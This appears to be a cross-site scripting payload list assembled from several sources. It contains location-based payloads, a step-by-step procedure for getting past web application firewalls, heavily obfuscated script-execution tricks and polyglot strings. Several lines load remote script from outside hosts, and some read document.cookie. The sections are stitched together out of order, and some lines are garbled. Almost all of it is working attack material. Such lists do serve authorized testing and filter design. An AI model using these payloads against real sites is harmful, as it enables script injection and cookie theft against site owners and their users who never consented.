1.3) Location After+Hash (innerHTML+URL)
<j onclick=location=innerHTML%2bURL>javascript:"-'click me!</j>#'-alert(1)
javascript:"-'click me! + http://domain/page?p=<j onclick=location=innerHTML%2bURL>javascript:"-'click me!</j>#'-alert(1)
<j onclick=location=innerHTML%2bURL>javascript:</j>#%0Aalert(1)
javascript: + http://domain/page?p=<j onclick=location=innerHTML%2bURL>javascript:</j>#%0Aalert(1)
1.4) Location Itself+After+Hash (tagName+innerHTML+URL)
<javas onclick=location=tagName%2binnerHTML%2bURL>cript:"-'click me!</javas>#'-alert(1)
javas + cript:"-'click me! + http://domain/page?p=<javas%20onclick=location=tagName%2binnerHTML%2bURL>cript:"-'click me!</javas>#'-alert(1)
<javas onclick=location=tagName%2binnerHTML%2bURL>cript:</javas>#%0Aalert(1)
javas + cript: + http://domain/page?p=<javas onclick=location=tagName%2binnerHTML%2bURL>cript:</javas>#%0Aalert(1)
1.5) Location Itself+Before (tagName+previous.Sibling)
"-alert(1)<javascript:" onclick=location=tagName%2bpreviousSibling.nodeValue>click me!
javascript:" + "-alert(1)
1.6) Location Itself+After+Before (tagName+innerHTML+previous.Sibling)
"-alert(1)<javas onclick=location=tagName%2binnerHTML%2bpreviousSibling.nodeValue>cript:"click me!
javas + cript:" + "-alert(1)
1.7) Location After+Itself (innerHTML+outerHTML)
<alert(1)<!– onclick=location=innerHTML%2bouterHTML>javascript:1/*click me!*/</alert(1)<!–>
javascript:1/*click me!*/ + <alert(1)<!– onclick=location=innerHTML%2bouterHTML>
<j 1="*/""-alert(1)<!– onclick=location=innerHTML%2bouterHTML>javascript:/*click me!
javascript:/* + <j 1="*/""-alert(1)<!– onclick=location=innerHTML%2bouterHTML>
1.8) Location After+Before+Itself (innerHTML+previousSibling+outerHTML)
*/"<j"-alert(1)<!– onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>javascript:/*click me!
javascript:/*click me! + */" + <x"-alert(9)<!– onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>
*/"<j 1=-alert(9)// onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>javascript:/*click me!
javascript:/*click me! + */" + <x 1=" -alert(9)//" onclick=location=innerHTML%2bpreviousSibling.nodeValue%2bouterHTML>
1.9) Location After (innerHTML)
<j onclick=location=innerHTML>javascript%26colon;alert(1)//
javascript:alert(1)//
1.10) Location Inside (name+id)
<iframe id=t:alert(1) name=javascrip onload=location=name%2bid>
javascrip + t:alert(1)
2) Location Self
2.1) Location Self Inside
<svg id=?p=<svg/onload=alert(1)%2B onload=location=id>
http://domain/page?p=<svg/onload=alert(1)+
<svg id=?p=<script/src=//3237054390/1%2B onload=location=id>
http://domain/page?p=<script/src=//3237054390/1+
2.2) Location Self After
<j onclick=location=textContent>?p=%26lt;svg/onload=alert(1)>
http://domain/page?p=<svg/onload=alert(1)>
3) Location Self Plus
3.1) Location Self Plus Itself
<j%26p=<svg%2Bonload=alert(1) onclick=location%2B=outerHTML>click me!
http://domain/page?p=<j%26p=<svg%2Bonload=alert(1)%20onclick=location%2B=outerHTML>click%20me!<j&p=<svg+onload=alert(1) onclick="location+=outerHTML">
3.2) Location Self Plus After
<j onclick=location%2B=textContent>%26p=%26lt;svg/onload=alert(1)>
http://domain/page?p=<j%20onclick=location%2B=textContent>%26p=%26lt;svg/onload=alert(1)>&p=<svg/onload=alert(1)>
3.3) Location Self Plus Before
%26p=%26lt;svg/onload=alert(1)><j onclick=location%2B=document.body.textContent>click me!
http://domain/page?p=%26p=%26lt;svg/onload=alert(1)><j%20onclick=location%2B=document.body.textContent>click%20me![BODY_CONTENT]&p=<svg/onload=alert(1)>click me!
Location Based Payloads – Part II
<svg onload=alert(tagName)>
<javascript onclick=alert(tagName)>click me!
<javascript onclick=alert(tagName%2Blocation.hash)>click me!#:alert(1)
<javascript: onclick=alert(tagName%2Blocation.hash)>click me!#alert(1)
<javascript: onclick=alert(tagName%2BinnerHTML%2Blocation.hash)>/*click me!#*/alert(1)
<javascript: onclick=location=tagName%2BinnerHTML%2Blocation.hash>/*click me!#*/alert(1)
Result => javascript: + /*click me! + #*/alert(1)
<javascript: onclick=location=tagName%2BinnerHTML%2Blocation.hash>'click me!#'-alert(1)
Result => javascript: +'click me! + #'-alert(1)
<javascript: onclick=alert(tagName%2BinnerHTML%2Blocation.hash)>'click me!</javascript:>#'-alert(1)
javascript + :'click me! + #'-alert(1)
javascrip + t:'click me! + #'-alert(1)
javas + cript:'click me! + #'-alert(1)
Location Based Payloads – Part I
<svg/onload=location='javascript:alert(1)'>
<svg/onload=location=location.hash.substr(1)>#javascript:alert(1)
Result => javascript:alert(1)
<svg/onload=location='javas'%2B'cript:'%2B
'ale'%2B'rt'%2Blocation.hash.substr(1)>#(1)
Result => javas + cript: + ale + rt + (1)
<svg/onload=location=/javas/.source%2B/cript:/.source%2B
/ale/.source%2B/rt/.source%2Blocation.hash.substr(1)>#(1)
Result => javas + script: + ale + rt + (1)
<svg/onload=location=/javas/.source%2B/cript:/.source%2B/ale/.source
%2B/rt/.source%2Blocation.hash[1]%2B1%2Blocation.hash[2]>#()
Result => javas + cript: + ale + rt + ( + 1 + )
Filter Bypass Procedure
#XSS vs WAF
1) use <x & jump to event handler
2) use onxxx=yyy & find number of x it accepts
3) test them & change tag accordingly
4) put js
— Brute (@brutelogic) October 10, 2015
Example:
<x onxxx=1 -> pass
<x onxxxx=1 -> pass
<x onxxxxx=1 -> block
Event handlers with up to 6 chars:
oncut, onblur, oncopy, ondrag, ondrop, onhelp, onload, onplay, onshow
1) Encoding
2) Mixed Case
<x ONxxx=1
3) Doubling
4) Spacers
5) Quotes
6) Mimetism
<x </onxxx=1 (mimics a closing tag)
<x 1=">" onxxx=1 (mimics a text outside of the tag)
<http://onxxx%3D1/ (mimics an URL)
7) Combo
<x%2F1=">%22OnXxx%3D1
Existing Code Reuse
1) Before injection:
<input type="text" value=""><script type="text/javascript"> function x(){ do something }</script>
2) After injection:
<input type="text" value=""><script>alert(1)//"><script type="text/javascript"> function x(){ do something }</script>
<script src=//brutelogic.com.br/1>
http://brutelogic.com.br/webgun/test.php?p=<script src=//3334957647/1>
http://brutelogic.com.br/webgun/test.php?p=<brute id=test onmouseover=alert(1)>AAAA
http://brutelogic.com.br/webgun/test.php?p=<brute onmouseover=pop(1)>AAAA
XSS Payload Scheme
<tag handler=code>
<b onclick=alert(1)>click me!
<img src=x onerror=alert(1)>
<frameset><frame src onload=alert(1)>
extra1 <tag extra2 handler=code> extra3
extra1 <tag handler=code extra2> extra3
extra1 <tag spacer1 extra2 spacer2 handler spacer3 = spacer4 code spacer5> extra3
extra1 <tag spacer1 handler spacer3 = spacer4 code spacer5 extra2> extra3 (without spacer2)
<table><thead%0Cstyle=font-size:700px%0Donmouseover%0A=%0Bconfirm(1)%09><td>AAAAAAAAA
test:
<scRipt>alErt(1)</scrIpt>
<script type=vbscript>MsgBox(0)</script>
<IMG SRC=JaVaScRiPt:alert("XSS")>
<IMG STYLE="xss: expre\ssion(alert("XSS"))">
<STYLE TYPE="text/javascript">alert("XSS")
<XML SRC="javascript:alert("XSS")
<SCRIPT>document.write("<SCRI")
<IMG SRC=javascript:alert(String.fromCharCode(88
<IMG SRC=# onmouseover="alert("xxs")">
<IMG SRC= onmouseover="alert("xxs")">
<IMG onmouseover="alert("xxs")">
<IMG SRC=/ onerror="alert(String.fromCharCode(88
<isindex action="javas&tab;cript:alert(1)" type=image>
<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>
</TITLE><SCRIPT>alert("XSS")
“><img src= onerror=confirm(1)>
∀㸀㰀script㸀confirm(1)㰀/script㸀
onfocus=JaVaSCript:alert(123) autofocus
＜script＞alert(123)＜/script＞
.AAި>8?/?%ڻڜ>_>D'?javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
%0ajavascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert(test)//'">`
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+document.location=`//localhost/mH`//'>
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=document.location=`//localhost/mH`//><iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<img src='1' onerror='alert(0)' <
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);"" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
JavaScript://%250Aalert?.(1)//'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=document.location=`//localhost/mH`//>
“ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//!--" /><script>alert('xss');</script>
")
");
"><svg><script/xlink:href="data:,alert(1) <svg><script/xlink:href=data:,alert(1)></script> <frameset/onpageshow=alert(1)>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
<!--[if gte IE 4]>
')
;
</script> <script>[class extends[alert``]{}]</script>
<;!--[if gte IE 4]>;
<IMG SRC=javascript:alert(‘XSS’)>
<base href="javascript:/"><a href="**/alert(1)"><base href="javascript:/"><a href="**/alert(1)">
<base target="<script>alert(1)</script>"><a href="javascript:name">CLICK</a>
<img onerror=alert(1) src <u></u> <videogt;<source onerror=javascript:prompt(911)gt;
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);"
<link rel="import" href="data:x,<script>alert(1)</script> <script>Array.from1${alert}3${window}2</script>
<marquee loop=1 width=0 onfinish=alert(1)>//INJECTX
<script>!{x(){alert(1)}}.x()</script> <script>Array.from${eval}alert\1\``</script> <script>Array.from([1],alert)</script> <script>Promise.reject("1").then(null,alert)</script>
<script>'str1ng'.replace(/1/,alert)</script> <script>'bbbalert(1)cccc'.replace(/a\w{4}\(\d\)/,eval)</script> <script>'a1l2e3r4t6'.replace(/(.).(.).(.).(.).(.)/,function(match,$1,$2,$3,$4,$5) { this[$1+$2+$3+$4+$5](1); })</script>
<script>eval('\\u'+'0061'+'lert(1)')</script> <script>throw~delete~typeof~prompt(1)</script> <script>delete[a=alert]/prompt a(1)</script> <script>delete[a=this[atob('YWxlcnQ=')]]/prompt a(1)</script> <script>(()=>{return this})().alert(1)</script>
<script>new Image()[unescape('%6f%77%6e%65%72%44%6f%63%75%6d%65%6e%74')][atob('ZGVmYXVsdFZpZXc=')][8680439..toString(30)](1)</script> <script src=data:,\u006fnerror=\u0061lert(1)></script>
<script>new class extends class extends class extends class extends alert(1){}{}{}{}</script>
<script>new function(){new.target.constructor('alert(1)')();}</script> <script>Reflect.construct(function(){new.target.constructor('alert(1)')()},[])</script>
<script>throw new class extends Function{}('alert(1)')``</script> <script>x=new class extends Function{}('alert(1)'); x=new x;</script> <script>new class extends alert(1){}</script>
<script>var fn=window[490837..toString(1<<5)]; fn(atob('YWxlcnQoMSk='));</script>
<script>var fn=window[String.fromCharCode(101,118,97,108)]; fn(atob('YWxlcnQoMSk='));</script>
<script>window[490837..toString(1<<5)](atob('YWxlcnQoMSk='))</script> <script>this[490837..toString(1<<5)](atob('YWxlcnQoMSk='))</script> <script>this[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]](++[[]][+[]])</script> <script>this[(+{}+[])[-~[]]+(![]+[])[-~-~[]]+([][+[]]+[])[-~-~-~[]]+(!![]+[])[-~[]]+(!![]+[])[+[]]]((-~[]+[]))</script>
<style>@KeyFrames x{</style><div style=animation-name:x onanimationstart=alert(1)> <
<svg
INJECTXXXXXXXXXXX
\");
onload=alert(1)>
onmouseover="document.cookie=true;">//INJECTX
“><s”%2b”cript>alert(document.cookie)</script><a draggable="true" ondrag="alert(1)">test</a>
]]></plaintext></button></button></button></button></button></button></blockquote></blockquote></blockquote></blockquote></blockquote></blockquote></blink></blink></blink></blink></blink></blink></big></big></big></big></big></big></bdo></bdo></bdo></bdo></bdo></bdo></bdi></bdi></bdi></bdi></bdi></bdi></b></b></b></b></b></b></audio2></audio2></audio2></audio2></audio2></audio2></audio></audio></audio></audio></audio></audio></audio></audio></audio></aside></aside></aside></aside></aside></aside></article></article></article></article></article></article></applet></applet></applet></applet></applet></applet></animatetransform></animatetransform></animatetransform></animatetransform></animatetransform></animatetransform></animatemotion></animatemotion></animatemotion></animatemotion></animatemotion></animatemotion></animate></animate></animate></animate></animate></animate></address></address></address></address></address></address></acronym></acronym></acronym></acronym></acronym></acronym></abbr></abbr></abbr></abbr></abbr></abbr></a2></a2></a2></a2></a2></a2></div>